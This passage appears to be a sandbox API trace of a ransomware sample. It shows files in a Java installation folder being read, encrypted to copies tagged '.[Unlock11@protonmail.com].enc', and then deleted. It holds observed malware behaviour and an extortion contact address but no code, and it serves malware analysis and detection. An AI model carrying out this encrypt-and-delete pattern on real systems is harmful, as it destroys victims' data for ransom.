lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0130.418] GetLastError () returned 0x0 [0130.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0130.418] GetLastError () returned 0x0 [0130.418] GetLastError () returned 0x0 [0130.418] GetLastError () returned 0x0 [0130.418] GetCurrentThreadId () returned 0x9b0 [0130.418] GetLastError () returned 0x0 [0130.418] GetCurrentThreadId () returned 0x9b0 [0130.418] GetLastError () returned 0x0 [0130.418] GetLastError () returned 0x0 [0130.419] GetLastError () returned 0x0 [0130.419] GetLastError () returned 0x0 [0130.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.419] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac)) returned 1 [0130.419] GetLastError () returned 0x0 [0130.419] GetCurrentThreadId () returned 0x9b0 [0130.419] GetLastError () returned 0x0 [0130.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0130.419] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bd2c | out: pbBuffer=0x366bd2c) returned 1 [0130.419] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0130.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0130.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0130.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c59d8 [0130.420] GetCurrentThreadId () returned 0x9b0 [0130.420] GetLastError () returned 0x0 [0130.420] GetLastError () returned 0x0 [0130.420] GetLastError () returned 0x0 [0130.420] GetLastError () returned 0x0 [0130.420] GetCurrentThreadId () returned 0x9b0 [0130.420] GetLastError () returned 0x0 [0130.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59d8 | out: hHeap=0x2ad0000) returned 1 [0130.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ac8 [0130.421] GetLastError () returned 0x0 [0130.421] GetLastError () returned 0x0 [0130.421] GetLastError () returned 0x0 [0130.421] GetLastError () returned 0x0 [0130.421] GetCurrentThreadId () returned 0x9b0 [0130.421] GetLastError () returned 0x0 [0130.421] GetCurrentThreadId () returned 0x9b0 [0130.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ac8 | out: hHeap=0x2ad0000) returned 1 [0130.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265368 [0130.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0130.422] GetLastError () returned 0x0 [0130.422] GetLastError () returned 0x0 [0130.422] GetLastError () returned 0x0 [0130.422] GetLastError () returned 0x0 [0130.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0130.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653d8 [0130.422] GetLastError () returned 0x0 [0130.422] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.423] GetFileType (hFile=0x39c) returned 0x1 [0130.423] GetLastError () returned 0x0 [0130.423] GetCurrentThreadId () returned 0x9b0 [0130.423] GetLastError () returned 0x0 [0130.423] GetFileType (hFile=0x39c) returned 0x1 [0130.423] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.423] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.423] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.423] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.423] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.423] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.424] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.424] GetLastError () returned 0x0 [0130.424] GetCurrentThreadId () returned 0x9b0 [0130.424] GetLastError () returned 0x0 [0130.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0130.424] GetLastError () returned 0x0 [0130.424] GetLastError () returned 0x0 [0130.424] GetLastError () returned 0x0 [0130.424] GetLastError () returned 0x0 [0130.424] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0130.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653d8 [0130.425] GetLastError () returned 0x0 [0130.425] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.425] GetFileType (hFile=0x3ac) returned 0x1 [0130.425] GetLastError () returned 0x0 [0130.425] GetCurrentThreadId () returned 0x9b0 [0130.425] GetLastError () returned 0x0 [0130.426] GetFileType (hFile=0x3ac) returned 0x1 [0130.426] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.426] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.426] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.426] GetLastError () returned 0x0 [0130.426] GetCurrentThreadId () returned 0x9b0 [0130.426] GetLastError () returned 0x0 [0130.426] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0130.427] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.427] GetLastError () returned 0x0 [0130.427] GetLastError () returned 0x0 [0130.427] GetCurrentThreadId () returned 0x9b0 [0130.427] GetLastError () returned 0x0 [0130.427] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.427] GetLastError () returned 0x0 [0130.427] GetLastError () returned 0x0 [0130.427] GetCurrentThreadId () returned 0x9b0 [0130.428] GetLastError () returned 0x0 [0130.428] GetLastError () returned 0x0 [0130.429] GetLastError () returned 0x0 [0130.429] GetCurrentThreadId () returned 0x9b0 [0130.429] GetCurrentThreadId () returned 0x9b0 [0130.430] GetCurrentThreadId () returned 0x9b0 [0130.431] GetCurrentThreadId () returned 0x9b0 [0130.431] GetCurrentThreadId () returned 0x9b0 [0130.431] CloseHandle (hObject=0x3ac) returned 1 [0130.431] GetCurrentThreadId () returned 0x9b0 [0130.431] CloseHandle (hObject=0x39c) returned 1 [0130.431] GetCurrentThreadId () returned 0x9b0 [0130.431] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0130.433] GetCurrentThreadId () returned 0x9b0 [0130.433] GetCurrentThreadId () returned 0x9b0 [0130.433] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", lpFilePart=0x9bada4*="splash_11-lic.gif") returned 0x3f [0130.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0130.433] GetCurrentThreadId () returned 0x9b0 [0130.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0130.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0130.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0130.433] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5be0 [0130.433] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetCurrentThreadId () returned 0x9b0 [0130.434] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d)) returned 1 [0130.435] GetCurrentThreadId () returned 0x9b0 [0130.435] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc64 | out: pbBuffer=0x366bc64) returned 1 [0130.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0130.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0130.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0130.435] GetCurrentThreadId () returned 0x9b0 [0130.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0130.435] GetCurrentThreadId () returned 0x9b0 [0130.435] GetCurrentThreadId () returned 0x9b0 [0130.435] GetCurrentThreadId () returned 0x9b0 [0130.436] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.436] GetFileType (hFile=0x39c) returned 0x1 [0130.436] GetCurrentThreadId () returned 0x9b0 [0130.436] GetFileType (hFile=0x39c) returned 0x1 [0130.436] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.436] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.436] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.436] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.436] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.437] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.437] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.437] GetLastError () returned 0x0 [0130.437] GetCurrentThreadId () returned 0x9b0 [0130.437] GetLastError () returned 0x0 [0130.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0130.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0130.437] GetLastError () returned 0x0 [0130.437] GetLastError () returned 0x0 [0130.437] GetLastError () returned 0x0 [0130.437] GetLastError () returned 0x0 [0130.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0130.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265368 [0130.438] GetLastError () returned 0x0 [0130.438] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0130.438] GetFileType (hFile=0x3ac) returned 0x1 [0130.438] GetLastError () returned 0x0 [0130.438] GetCurrentThreadId () returned 0x9b0 [0130.438] GetLastError () returned 0x0 [0130.438] GetFileType (hFile=0x3ac) returned 0x1 [0130.439] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0130.439] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.439] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.439] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.439] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.439] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0130.439] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0130.439] GetLastError () returned 0x0 [0130.439] GetCurrentThreadId () returned 0x9b0 [0130.439] GetLastError () returned 0x0 [0130.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0130.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0130.439] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0130.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0130.440] GetLastError () returned 0x0 [0130.440] GetLastError () returned 0x0 [0130.440] GetCurrentThreadId () returned 0x9b0 [0130.440] GetLastError () returned 0x0 [0130.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0130.440] GetLastError () returned 0x0 [0130.440] GetLastError () returned 0x0 [0130.440] GetCurrentThreadId () returned 0x9b0 [0130.440] GetLastError () returned 0x0 [0130.441] GetLastError () returned 0x0 [0130.443] GetLastError () returned 0x0 [0130.444] GetCurrentThreadId () returned 0x9b0 [0130.444] GetLastError () returned 0x0 [0130.444] GetCurrentThreadId () returned 0x9b0 [0130.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0130.444] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0130.444] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1e98) returned 0x381b008 [0130.444] GetLastError () returned 0x0 [0130.444] GetLastError () returned 0x0 [0130.444] GetLastError () returned 0x0 [0130.444] GetLastError () returned 0x0 [0130.445] GetCurrentThreadId () returned 0x9b0 [0130.445] GetLastError () returned 0x0 [0130.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0130.445] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0130.445] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0130.445] GetLastError () returned 0x0 [0130.446] GetLastError () returned 0x0 [0130.446] GetCurrentThreadId () returned 0x9b0 [0130.446] GetLastError () returned 0x0 [0130.446] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381cea8 | out: hHeap=0x2ad0000) returned 1 [0130.446] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fa3e8 [0130.446] GetLastError () returned 0x0 [0130.446] GetLastError () returned 0x0 [0130.447] GetCurrentThreadId () returned 0x9b0 [0130.447] GetLastError () returned 0x0 [0130.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fa3e8 | out: hHeap=0x2ad0000) returned 1 [0130.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0130.447] GetLastError () returned 0x0 [0130.447] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0130.447] CloseHandle (hObject=0x3ac) returned 1 [0130.448] GetLastError () returned 0x0 [0130.448] GetCurrentThreadId () returned 0x9b0 [0130.448] GetLastError () returned 0x0 [0130.448] GetLastError () returned 0x0 [0130.448] CloseHandle (hObject=0x39c) returned 1 [0130.448] GetLastError () returned 0x0 [0130.448] GetCurrentThreadId () returned 0x9b0 [0130.448] GetLastError () returned 0x0 [0130.448] GetLastError () returned 0x0 [0130.448] GetLastError () returned 0x0 [0130.449] GetLastError () returned 0x0 [0130.449] GetLastError () returned 0x0 [0130.449] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0130.450] GetLastError () returned 0x0 [0130.450] GetCurrentThreadId () returned 0x9b0 [0130.450] GetLastError () returned 0x0 [0130.450] GetCurrentThreadId () returned 0x9b0 [0130.450] GetLastError () returned 0x0 [0130.450] GetLastError () returned 0x0 [0130.450] GetLastError () returned 0x0 [0130.450] GetLastError () returned 0x0 [0130.450] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", lpFilePart=0x9bada4*="splash_11@2x-lic.gif") returned 0x42 [0130.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0130.451] GetCurrentThreadId () returned 0x9b0 [0130.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0130.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0130.451] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0130.451] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5cf8 [0130.451] GetLastError () returned 0x0 [0130.451] GetLastError () returned 0x0 [0130.451] GetLastError () returned 0x0 [0130.451] GetLastError () returned 0x0 [0130.451] GetCurrentThreadId () returned 0x9b0 [0130.452] GetLastError () returned 0x0 [0130.452] GetCurrentThreadId () returned 0x9b0 [0130.452] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5cf8 | out: hHeap=0x2ad0000) returned 1 [0130.452] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5cf8 [0130.452] GetLastError () returned 0x0 [0130.452] GetLastError () returned 0x0 [0130.452] GetLastError () returned 0x0 [0130.452] GetLastError () returned 0x0 [0130.452] GetCurrentThreadId () returned 0x9b0 [0130.452] GetLastError () returned 0x0 [0130.452] GetLastError () returned 0x0 [0130.453] GetLastError () returned 0x0 [0130.453] GetLastError () returned 0x0 [0130.453] GetLastError () returned 0x0 [0130.453] GetCurrentThreadId () returned 0x9b0 [0130.453] GetLastError () returned 0x0 [0130.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5cf8 | out: hHeap=0x2ad0000) returned 1 [0130.453] GetLastError () returned 0x0 [0130.453] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0130.453] GetLastError () returned 0x0 [0130.453] GetLastError () returned 0x0 [0130.454] GetLastError () returned 0x0 [0130.454] GetCurrentThreadId () returned 0x9b0 [0130.454] GetLastError () returned 0x0 [0130.454] GetCurrentThreadId () returned 0x9b0 [0130.454] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a4e8 [0130.454] GetLastError () returned 0x0 [0130.454] GetLastError () returned 0x0 [0130.454] GetLastError () returned 0x0 [0130.454] GetLastError () returned 0x0 [0130.454] GetCurrentThreadId () returned 0x9b0 [0130.454] GetLastError () returned 0x0 [0130.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0130.455] GetLastError () returned 0x0 [0130.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.455] GetCurrentThreadId () returned 0x9b0 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.455] GetLastError () returned 0x0 [0130.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0130.456] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda)) returned 1 [0130.456] GetLastError () returned 0x0 [0130.456] GetLastError () returned 0x0 [0130.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db7b0 | out: hHeap=0x2ad0000) returned 1 [0130.456] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc14 | out: pbBuffer=0x366bc14) returned 1 [0130.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0130.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0130.457] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ac8 [0130.457] GetLastError () returned 0x0 [0130.457] GetLastError () returned 0x0 [0130.457] GetLastError () returned 0x0 [0130.457] GetLastError () returned 0x0 [0130.457] GetLastError () returned 0x0 [0130.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ac8 | out: hHeap=0x2ad0000) returned 1 [0130.458] GetLastError () returned 0x0 [0130.458] GetLastError () returned 0x0 [0130.458] GetLastError () returned 0x0 [0130.458] GetLastError () returned 0x0 [0130.458] GetLastError () returned 0x0 [0130.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5a78 | out: hHeap=0x2ad0000) returned 1 [0130.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32653d8 [0130.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0130.458] GetLastError () returned 0x0 [0130.459] GetLastError () returned 0x0 [0130.459] GetLastError () returned 0x0 [0130.459] GetLastError () returned 0x0 [0130.459] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0130.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265438 [0130.459] GetLastError () returned 0x0 [0130.459] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0130.459] GetFileType (hFile=0x39c) returned 0x1 [0130.459] GetLastError () returned 0x0 [0130.460] GetLastError () returned 0x0 [0130.460] GetFileType 